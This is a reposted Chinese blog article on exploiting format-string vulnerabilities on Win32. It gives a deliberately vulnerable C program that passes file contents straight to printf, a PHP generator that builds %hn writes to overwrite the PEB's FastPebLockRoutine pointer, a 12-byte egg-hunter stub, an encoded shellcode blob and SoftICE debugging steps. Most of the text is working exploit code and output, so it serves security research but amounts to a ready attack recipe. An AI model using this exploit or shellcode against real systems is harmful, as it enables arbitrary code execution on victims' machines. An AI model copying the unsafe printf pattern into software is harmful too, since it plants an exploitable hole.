Win32平臺格式化串漏洞攻擊技術(轉)

PigBaby2007發表於2007-08-08

  本文緣起KF在0dd郵件列表的問題,由於Win32平臺的格式化串漏洞相對很少,所以以前沒有關注過。不過David Litchfield曾經寫過Win32平臺格式化串漏洞的利用技術,但是他用的方法並不是很好,於是有了此文。[@more@]

  

  1.1 Win32平臺格式化串與其它平臺的不同

  在Linux平臺下直接指定要訪問的引數的"$"格式符在Win32下根本就不支援:

  D:working esearchWin32 format2004.10.27>type d_test.c

  main()

  {

  printf ("%6$d ", 6, 5, 4, 3, 2, 1);

  }

  

  用VC6編譯後執行檢視結果: D:working esearchWin32 format2004.10.27>cl d_test.c

  Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8804 for 80x86

  Copyright (C) Microsoft Corp 1984-1998. All rights reserved.

  

  d_test.c

  Microsoft (R) Incremental Linker Version 6.00.8447

  Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

  

  /out:d_test.exe

  d_test.obj

  

  D:working esearchWin32 format2004.10.27>d_test

  $d

  

  輸出的居然就是"$d"。所以在Linux平臺的那種"%%%d$hn"格式串在Win32下是無法利用,不過這也沒關係,用其它格式符pop引數就可以了。存在的弊端就是構造格式串的字串可能會稍長,但這在很多情況下是不影響的。

  

  另外還有一個問題就是Win32的堆疊地址不如Linux/Unix那麼穩定,而且Win32堆疊地址一般都是0x0012e000這樣的地址,最開始的一個位元組包含0,所以覆蓋函式儲存在堆疊裡的返回地址的方法就不是那麼自如了(David Litchfield提到的方法是把堆疊地址放在格式串的最後,那麼和格式串結束符0正好組合成完整的堆疊地址),選堆疊地址作為shellcode地址也不是那麼穩定。下面我們將用例項演示Win32平臺格式串更好的利用方法。

  

  1.2 Win32平臺格式化串的利用方法演示

  首先我們構造一個存在格式化串漏洞的程式:

  

  /* Windows format strings demo

  *

  * san@xfocus.org

  * 2004.10.26

  */

  

  #include

  #define IOSIZE 1024

  

  int main(int argc, char **argv )

  {

  FILE * binFileH;

  char binFile[] = "binfile";

  char buf[IOSIZE];

  

  if ( (binFileH = fopen(binFile, "rb")) == NULL )

  {

  printf("can't open file %s! ", binFile);

  exit();

  }

  

  memset(buf, 0, sizeof(buf));

  fread(buf, sizeof(char), IOSIZE, binFileH);

  

  printf("%d ", strlen(buf));

  printf(buf);

  

  fclose(binFileH);

  }

  

  這是一個很簡單的程式,它從當前目錄的"binfile"檔案讀取內容,然後把這些內容直接作為printf的引數列印,典型的格式化串漏洞。構造一個包含如下內容的"binfile"檔案:

  

  AAAABBBB|%x|%x|%x|%x|%x

  

  執行這個format程式:

  

  D:working esearchWin32 format2004.10.27>format

  23

  AAAABBBB|666e6962|656c69|41414141|42424242|7c78257c

  

  可以發現只需pop掉兩次引數就能顯示格式串最開始的內容。不過Win32下我們到底覆蓋什麼地址比較好呢?BasepCurrentTopLevelFilter指標是個不錯主意,但是它的地址在各種版本都不相同。由於格式化串漏洞可以實現多次往任意地址寫任意內容,那麼我們是否可以寫一段程式碼到一個地址,然後把這個地址寫到Peb->FastPebLockRoutine指標,那麼在程式退出時呼叫Peb->FastPebLockRoutine指標就能執行到我們的程式碼。我們的這個程式碼來實現搜尋堆疊中shellcode的任務: 7FFDF250  54       PUSH ESP

  7FFDF251  5F       POP EDI

  7FFDF252  B8 90909090   MOV EAX,90909090

  7FFDF257  FC       CLD

  7FFDF258  F2:AF      REPNE SCAS DWORD PTR ES:[EDI]

  7FFDF25A  57       PUSH EDI

  7FFDF25B  C3       RETN

  

  這段程式碼的意思是從當前esp開始往高地址搜尋包含0x90909090的內容,如果找到就進入該程式碼執行。往esp高地址還是低地址搜尋取決於當時的情況。這個搜尋程式碼有12個位元組,加上覆蓋地址的4個位元組,一共是16個位元組,要求往記憶體地址寫8次。由於C語言處理字串有些麻煩,所以我用PHP寫了如下構造格式串的過程:

  

    /* Windows format strings demo

  *

  * san@xfocus.org

  * 2004.10.26

  */

  

  $flag = 2;

  $shellcode =

  "xebx10x5bx4bx33xc9x66xb9x58x01x80x34x0bxf8xe2xfa".

  "xebx05xe8xebxffxffxffx11xdaxf9xf8xf8xa7x9cx59xc8".

  "xf8xf8xf8xa8x73xb8xf4x73xb8xe4x73x90xf0xa8x73x0f".

  "x92xfaxa1x10x39xf8xf8xf8x1ax01xa0x73xf8x73x90xf0".

  "xa0x07xcex77xb8xd8x07x8exfcx77xb8xdcx92xfbxa1x10".

  "x5dxf8xf8xf8x1ax01x90xcbxcaxf8xf8x90x8fx8bxcaxa7".

  "xacx07xaexf0x73x10x92xfdxa1x10x73xf8xf8xf8x1ax01".

  "x79x14x68xf9xf8xf8xacx90xf9xf9xf8xf8x07xaexecxa8".

  "xa8xa8xa8x92xf9x92xfax07xaexe0x73x20xcbx38xa8xa8".

  "xa8x73x04x9ex3fxffxfaxf8x9ex73xbexd0x7ex3cx9ex71".

  "xbfxfax92xe8xafxabx07xaexe4x92xf9xabx07xaexd8xa8".

  "xa8xabx07xaexdcx73x20x90x9bx95x9cxf8x75xecxdcx7b".

  "x14xacx73x04x92xecxa1xcbx38x71xfcx77x1ax03x3exbf".

  "xe8xbcx06xbfxc4x06xbfxc5x71xa7xb0x71xa7xb4x71xa7".

  "xa8x75xbfxe8xafxa8xa9xa9xa9x92xf9xa9xa9xaaxa9x07".

  "xaexf4xcbx38xb0xa8x07xaexe8xa9xaex73x8dxc4x73x8c".

  "xd6x80xfbx0dxaex73x8exd8xfbx0dxcbx31xb1xb9x55xfb".

  "x3dxcbx23xf7x46xe8xc2x2ex8cxf0x39x33xffxfbx22xb8".

  "x13x09xc3xe7x8dx1fxa6x73xa6xdcxfbx25x9ex73xf4xb3".

  "x73xa6xe4xfbx25x73xfcx73xfbx3dx53xa6xa1x3bx10x21".

  "x06x07x07x06xdcx81x9cx22x06xf1x6excax8cx69xf4x31".

  "x44x5ex93x77x0axe0x99xc5x92x4cx78xd5xcax80x26x9c".

  "xe8x5fx25xf4x67x2bxb3x49xe6x6fxf9xa4xe9x47x1d";

  

  /*

  7FFDF250  54       PUSH ESP

  7FFDF251  5F       POP EDI

  7FFDF252  B8 90909090   MOV EAX,90909090

  7FFDF257  FC       CLD

  7FFDF258  F2:AF      REPNE SCAS DWORD PTR ES:[EDI]

  7FFDF25A  57       PUSH EDI

  7FFDF25B  C3       RETN

  */

  $fmt_array = array(

  0x7FFDF250 => "0x5f54",

  0x7FFDF252 => "0x90b8",

  0x7FFDF254 => "0x9090",

  0x7FFDF256 => "0xfc90",

  0x7FFDF258 => "0xaff2",

  0x7FFDF25A => "0xc357",

  0x7FFDF022 => "0x7ffd",

  0x7FFDF020 => "0xf250",

  );

  

  asort($fmt_array);

  print_r($fmt_array);

  $count = count($fmt_array);

  

  $head = "";

  $tail = "";

  $last = 0;

  foreach($fmt_array as $k => $v) {

  printf("%x ", $k);

  $b0 = sprintf("%c", (($k >> 24) & 0xff));

  $b1 = sprintf("%c", (($k >> 16) & 0xff));

  $b2 = sprintf("%c", (($k >> 8) & 0xff));

  $b3 = sprintf("%c", (($k   ) & 0xff));

  

  if (!$last) {

  $last += 8*$count+8*$flag;

  }

  

  $head .= "AAAA".$b3.$b2.$b1.$b0;

  $tail .= "%".($v-$last)."c%hn";

  $last = $v;

  }

  $fmt_str = $head.(str_repeat("%.8x", $flag)).$tail;

  

  $fmt_str .= str_repeat("x90", 100).$shellcode;

  

  $fp = fopen("binfile", "wb");

  fwrite($fp, $fmt_str);

  fclose($fp);

  ?>

  

  生成"binfile"檔案後用SoftICE的Symbol Loader載入format.exe程式進行除錯,首先對0x7ffdf020下一個讀寫斷點:

  

  :bpm 7ffdf020

  :dd 7ffdf020

  :g

  

  執行4個g以後,0x7ffdf020的內容被改寫為0x7ffdf250,而且0x7ffdf250開始的地址也寫入了上面12個位元組搜尋shellcode的程式碼。這時在0x7ffdf250下一個斷點:

  

  :bpx 7ffdf250

  :g

  

  執行兩個g以後就進入該地區:

  

  001B:7FFDF250 54         PUSH   ESP

  001B:7FFDF251 5F         POP    EDI

  001B:7FFDF252 B890909090     MOV    EAX,90909090

  001B:7FFDF257 FC         CLD

  001B:7FFDF258 F2AF        REPNZ SCASD

  001B:7FFDF25A 57         PUSH   EDI

  001B:7FFDF25B C3         RET

  

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10144097/viewspace-934637/,如需轉載,請註明出處,否則將追究法律責任。

相關文章